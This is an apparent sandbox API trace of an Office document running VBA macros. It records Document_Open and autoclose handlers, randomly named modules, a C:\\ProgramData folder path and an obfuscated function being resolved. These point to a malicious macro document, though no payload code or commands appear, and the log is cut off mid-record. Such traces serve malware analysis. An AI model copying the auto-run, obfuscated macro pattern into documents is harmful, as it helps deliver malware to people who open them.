ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xde, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xdf, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe0, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe1, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe2, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe3, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe4, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe5, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe6, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe7, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe8, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.683] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.683] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xe9, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xea, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xeb, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xec, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xed, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xee, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xef, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf0, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf1, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf2, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf3, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf4, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf5, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf6, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf7, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.684] ITypeInfo:RemoteGetFuncDesc (in: This=0x2764af38878, index=0xf8, ppFuncDesc=0xb5690f6a78, pDummy=0x6 | out: ppFuncDesc=0xb5690f6a78, pDummy=0x6) returned 0x0 [0120.684] ITypeInfo:LocalReleaseFuncDesc (This=0x2764af38878) returned 0x0 [0120.685] IUnknown:QueryInterface (in: This=0x2764af387c8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f6a98 | out: ppvObject=0xb5690f6a98*=0x2764af387c8) returned 0x0 [0120.685] ITypeInfo2:GetCustData (in: This=0x2764af387c8, GUID=0x7ff9be1d5de0*(Data1=0xba65d790, Data2=0x9301, Data3=0x11cf, Data4=([0]=0x8d, [1]=0x22, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x37, [6]=0x53, [7]=0x84)), pVarVal=0xb5690f6aa8 | out: pVarVal=0xb5690f6aa8*(varType=0x0, wReserved1=0x0, wReserved2=0x1b9, wReserved3=0x0, varVal1=0x0, varVal2=0x800000000)) returned 0x0 [0120.685] IUnknown:Release (This=0x2764af387c8) returned 0x2 [0120.685] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af387c8, memid=-1, refPtrFlags=0x690f6aa0, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0120.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0xb5690f69b0, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0120.685] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document") returned 0x40d36a [0120.685] IUnknown:QueryInterface (in: This=0x2764af38928, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f6a50 | out: ppvObject=0xb5690f6a50*=0x0) returned 0x80004002 [0120.685] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764af38928, ppTypeAttr=0xb5690f6a78, pDummy=0xb5690f6a50 | out: ppTypeAttr=0xb5690f6a78, pDummy=0xb5690f6a50*=0x0) returned 0x0 [0120.685] ITypeInfo:LocalReleaseTypeAttr (This=0x2764af38928) returned 0x0 [0120.685] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764bb0a610, cb=0x62) returned 0x2764ba22a20 [0120.685] IUnknown:AddRef (This=0x2764af38928) returned 0x6 [0120.685] IUnknown:Release (This=0x2764af38878) returned 0x1 [0120.685] IUnknown:Release (This=0x2764af38928) returned 0x5 [0120.685] IUnknown:Release (This=0x2764af387c8) returned 0x1 [0120.685] ITypeInfo:RemoteGetDocumentation (in: This=0x2764af38928, memid=5, refPtrFlags=0x690f6e30, pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27600000000 | out: pBstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27600000000) returned 0x0 [0120.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Open", cchWideChar=5, lpMultiByteStr=0xb5690f6e80, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Open", lpUsedDefaultChar=0x0) returned 5 [0120.685] _mbscpy_s (in: _Dst=0xb5690f6cd0, _DstSizeInBytes=0xe, _Src=0x27649a42e76 | out: _Dst=0xb5690f6cd0) returned 0x0 [0120.685] _mbscpy_s (in: _Dst=0xb5690f6cd9, _DstSizeInBytes=0x5, _Src=0xb5690f6e80 | out: _Dst=0xb5690f6cd9) returned 0x0 [0120.685] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Document_Open") returned 0x4089c1 [0122.718] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1c) returned 0x2764b962520 [0122.718] strncpy_s (in: _Dst=0x2764b962520, _DstSize=0x1c, _Src="Pikatop.Brofaset.autoclose", _MaxCount=0x1a | out: _Dst="Pikatop.Brofaset.autoclose") returned 0x0 [0122.718] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Pikatop") returned 0x400875 [0122.718] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x18) returned 0x2764b9e22e0 [0122.718] qsort (in: _Base=0x2764b9e22e0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bde69a58 | out: _Base=0x2764b9e22e0) [0122.718] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 1 [0122.718] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="JDSUAGDFYYUGED", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 3 [0122.718] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 1 [0122.718] bsearch (_Key=0xb5690f55d8, _Base=0x2764b9e22e0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bde69a58) returned 0x0 [0122.718] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Pikatop", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 3 [0122.718] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Pikatop", cchCount1=-1, lpString2="JDSUAGDFYYUGED", cchCount2=-1) returned 3 [0122.718] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Pikatop", cchCount1=-1, lpString2="Pikatop", cchCount2=-1) returned 2 [0122.718] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="Brofaset") returned 0x4021f7 [0122.718] bsearch (_Key=0xb5690f55d8, _Base=0x2764b9e22e0, _NumOfElements=0x3, _SizeOfElements=0x8, _PtFuncCompare=0x7ff9bde69a58) returned 0x2764b9e22e0 [0122.718] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Hopertiol", cchCount2=-1) returned 1 [0122.718] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="Brofaset", cchCount1=-1, lpString2="Brofaset", cchCount2=-1) returned 2 [0122.718] LHashValOfNameSysA (syskind=0x1, lcid=0x411, szName="autoclose") returned 0x40d6a4 [0122.718] CompareStringA (Locale=0x411, dwCmpFlags=0x30001, lpString1="autoclose", cchCount1=-1, lpString2="autoclose", cchCount2=-1) returned 2 [0122.718] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x58) returned 0x276528ecc80 [0122.718] IMalloc:GetSize (This=0x7ff9e7edf3f0, pv=0x276528ecc80) returned 0x58 [0122.718] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b962520) [0122.719] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276528ecc80) [0122.719] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0122.719] GetCurrentProcess () returned 0xffffffffffffffff [0122.719] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x2764b66aa1c, dwSize=0x3d) returned 1 [0122.719] VirtualProtect (in: lpAddress=0x2764b66aa1c, dwSize=0x40, flNewProtect=0x40, lpflOldProtect=0xb5690f4d4c | out: lpflOldProtect=0xb5690f4d4c*=0x40) returned 1 [0122.720] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x40) returned 0x2764b1a5b80 [0122.720] DispCallFunc (pvInstance=0x0, oVft=0x2764b66aa24, cc=0x4, vtReturn=0x0, cActuals=0x0, prgvt=0x0, prgpvarg=0x0, pvargResult=0xb5690f57b0) returned 0x0 [0122.720] PeekMessageA (in: lpMsg=0xb5690f5210, hWnd=0x30312, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0xb5690f5210) returned 1 [0122.720] PeekMessageA (in: lpMsg=0xb5690f5210, hWnd=0x30312, wMsgFilterMin=0x1045, wMsgFilterMax=0x1045, wRemoveMsg=0x3 | out: lpMsg=0xb5690f5210) returned 0 [0122.720] GetActiveWindow () returned 0x10320 [0122.720] SysStringByteLen (bstr="潎浲污") returned 0x6 [0122.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b95fa68, cbMultiByte=6, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0122.720] SysStringByteLen (bstr="潎浲污") returned 0x6 [0122.720] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2764b95fa68, cbMultiByte=7, lpWideCharStr=0x2764b95f408, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0122.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f4ba0, cbMultiByte=520, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0122.721] lstrlenA (lpString="Normal") returned 6 [0122.721] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal", _SizeInBytes=0x410, _Source=" [" | out: _Destination="Microsoft Visual Basic for Applications - Normal [") returned 0x0 [0122.721] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal [", _SizeInBytes=0x410, _Source="???" | out: _Destination="Microsoft Visual Basic for Applications - Normal [???") returned 0x0 [0122.721] strcat_s (in: _Destination="Microsoft Visual Basic for Applications - Normal [???", _SizeInBytes=0x410, _Source="]" | out: _Destination="Microsoft Visual Basic for Applications - Normal [???]") returned 0x0 [0122.735] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x810) returned 0x2764b3df570 [0122.735] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05bfa4, cbMultiByte=35, lpWideCharStr=0x276661600dc, cchWideChar=72 | out: lpWideCharStr="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg") returned 35 [0122.736] IUnknown:Release (This=0x2763c01f2f8) returned 0x1 [0122.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05bfec, cbMultiByte=154, lpWideCharStr=0x27666161140, cchWideChar=310 | out: lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ") returned 154 [0122.736] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x230) returned 0x2764ba57dd0 [0122.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05c094, cbMultiByte=154, lpWideCharStr=0x276661618ca, cchWideChar=310 | out: lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ") returned 154 [0122.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05c13c, cbMultiByte=154, lpWideCharStr=0x27666162054, cchWideChar=310 | out: lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ") returned 154 [0122.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05c1e4, cbMultiByte=154, lpWideCharStr=0x276661627de, cchWideChar=310 | out: lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ") returned 154 [0122.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05c28c, cbMultiByte=154, lpWideCharStr=0x27666162f68, cchWideChar=310 | out: lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ") returned 154 [0122.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05c334, cbMultiByte=154, lpWideCharStr=0x276661636f2, cchWideChar=310 | out: lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ") returned 154 [0122.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05c3dc, cbMultiByte=154, lpWideCharStr=0x27666163e7c, cchWideChar=310 | out: lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ") returned 154 [0122.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05c484, cbMultiByte=154, lpWideCharStr=0x27666170614, cchWideChar=310 | out: lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ") returned 154 [0122.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2763c05c52c, cbMultiByte=154, lpWideCharStr=0x27666170d9e, cchWideChar=310 | out: lpWideCharStr=" 'If you feel something is 'missing that should be here, contact us. ") returned 154 [0122.736] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42d4a, cbMultiByte=43, lpWideCharStr=0xb5690f3890, cchWideChar=44 | out: lpWideCharStr="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY") returned 43 [0122.736] ITypeInfo:GetRefTypeOfImplType (in: This=0x2763c01e338, index=0xffffffff, pRefType=0xb5690f38a0 | out: pRefType=0xb5690f38a0*=0xfffffffe) returned 0x0 [0122.736] ITypeInfo:GetRefTypeInfo (in: This=0x2763c01e338, hreftype=0xfffffffe, ppTInfo=0xb5690f3978 | out: ppTInfo=0xb5690f3978*=0x2763c01e2d8) returned 0x0 [0122.736] IUnknown:QueryInterface (in: This=0x2763c01e2d8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3918 | out: ppvObject=0xb5690f3918*=0x0) returned 0x80004002 [0122.737] IUnknown:QueryInterface (in: This=0x2763c01e2d8, riid=0x7ff9be1cf4c0*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3920 | out: ppvObject=0xb5690f3920*=0x0) returned 0x80004002 [0122.737] ITypeInfo:GetTypeComp (in: This=0x2763c01e2d8, ppTComp=0xb5690f3928 | out: ppTComp=0xb5690f3928*=0x2763c01e2e0) returned 0x0 [0122.737] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x38) returned 0x2765292bcc0 [0122.737] IUnknown:AddRef (This=0x2763c01e2e0) returned 0x5 [0122.737] IUnknown:Release (This=0x2763c01e2e0) returned 0x4 [0122.737] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b69e3d0, cb=0xf0) returned 0x2764b7f87f0 [0122.737] IUnknown:Release (This=0x2763c01e2d8) returned 0x3 [0122.737] IUnknown:Release (This=0x2763c01e338) returned 0x2 [0122.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x27649a42d4a, cbMultiByte=43, lpWideCharStr=0xb5690f3890, cchWideChar=44 | out: lpWideCharStr="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY") returned 43 [0122.737] ITypeComp:RemoteBind (in: This=0x2763c01e2e0, szName="GHJHGFGHKFTKDFTYFTFYDDYDFLRYTYDDYDFYKLDKTY", lHashVal=0x40d07d, wFlags=0x3, ppTInfo=0xb5690f3848, pDescKind=0xb5690f385c, ppFuncDesc=0xb5690f3860, ppVarDesc=0x7ff9e7cfa5d3, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0xb5690f3848*=0x2763c01e2d8, pDescKind=0xb5690f385c*=1, ppFuncDesc=0xb5690f3860, ppVarDesc=0x7ff9e7cfa5d3, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0122.739] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e2d8, ppTypeAttr=0xb5690f3850, pDummy=0x2764b6a1440 | out: ppTypeAttr=0xb5690f3850, pDummy=0x2764b6a1440*=0x4b6a0000) returned 0x0 [0122.739] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e2d8) returned 0x0 [0122.739] ITypeInfo:GetRefTypeInfo (in: This=0x2763c01e2d8, hreftype=0x25, ppTInfo=0xb5690f3108 | out: ppTInfo=0xb5690f3108*=0x2764b8e9658) returned 0x0 [0122.739] IUnknown:QueryInterface (in: This=0x2764b8e9658, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f32d8 | out: ppvObject=0xb5690f32d8*=0x0) returned 0x80004002 [0122.739] ITypeInfo:RemoteGetTypeAttr (in: This=0x2764b8e9658, ppTypeAttr=0xb5690f3158, pDummy=0xb5690f32d8 | out: ppTypeAttr=0xb5690f3158, pDummy=0xb5690f32d8*=0x0) returned 0x0 [0122.739] ITypeInfo:LocalReleaseTypeAttr (This=0x2764b8e9658) returned 0x0 [0122.739] IUnknown:Release (This=0x2764b8e9658) returned 0x2 [0122.740] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x27645296170, cb=0x400) returned 0x2764b50f180 [0122.740] ITypeInfo:RemoteGetTypeAttr (in: This=0x2763c01e2d8, ppTypeAttr=0xb5690f3600, pDummy=0x0 | out: ppTypeAttr=0xb5690f3600, pDummy=0x0) returned 0x0 [0122.740] ITypeInfo:LocalReleaseTypeAttr (This=0x2763c01e2d8) returned 0x0 [0122.740] IUnknown:Release (This=0x2764b8e9658) returned 0x2 [0122.740] IUnknown:Release (This=0x2764b8e9658) returned 0x2 [0122.740] IUnknown:QueryInterface (in: This=0x2763c01e2d8, riid=0x7ff9be1ca878*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xb5690f36b0 | out: ppvObject=0xb5690f36b0*=0x2763c01e2d8) returned 0x0 [0122.740] ITypeInfo2:GetFuncIndexOfMemId (in: This=0x2763c01e2d8, memid=2005, invkind=2, pFuncIndex=0xb5690f36f0 | out: pFuncIndex=0xb5690f36f0*=0x0) returned 0x0 [0122.740] ITypeInfo2:GetFuncCustData (in: This=0x2763c01e2d8, index=0x0, GUID=0x7ff9be1d6f38*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0xb5690f3708 | out: pVarVal=0xb5690f3708*(varType=0x0, wReserved1=0x0, wReserved2=0x276, wReserved3=0x0, varVal1=0xb5690f37b0, varVal2=0xb5690f3890)) returned 0x0 [0122.740] IUnknown:Release (This=0x2763c01e2d8) returned 0x3 [0122.740] IUnknown:QueryInterface (in: This=0x2764b8e9658, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3668 | out: ppvObject=0xb5690f3668*=0x0) returned 0x80004002 [0122.740] IUnknown:QueryInterface (in: This=0x2764b8e9658, riid=0x7ff9be1d1c48*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3540 | out: ppvObject=0xb5690f3540*=0x0) returned 0x80004002 [0122.740] IUnknown:Release (This=0x2764b8e9658) returned 0x2 [0122.740] IUnknown:QueryInterface (in: This=0x2764b8e9658, riid=0x7ff9be1cf4b0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3668 | out: ppvObject=0xb5690f3668*=0x0) returned 0x80004002 [0122.740] IUnknown:QueryInterface (in: This=0x2764b8e9658, riid=0x7ff9be1d1c48*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3540 | out: ppvObject=0xb5690f3540*=0x0) returned 0x80004002 [0122.740] IUnknown:Release (This=0x2764b8e9658) returned 0x2 [0122.740] IUnknown:AddRef (This=0x2763c01e2d8) returned 0x4 [0122.740] ITypeInfo:LocalReleaseFuncDesc (This=0x2763c01e2d8) returned 0x0 [0122.740] IUnknown:Release (This=0x2763c01e2d8) returned 0x3 [0122.740] IUnknown:QueryInterface (in: This=0x2763c01e2d8, riid=0x7ff9be1cc368*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, 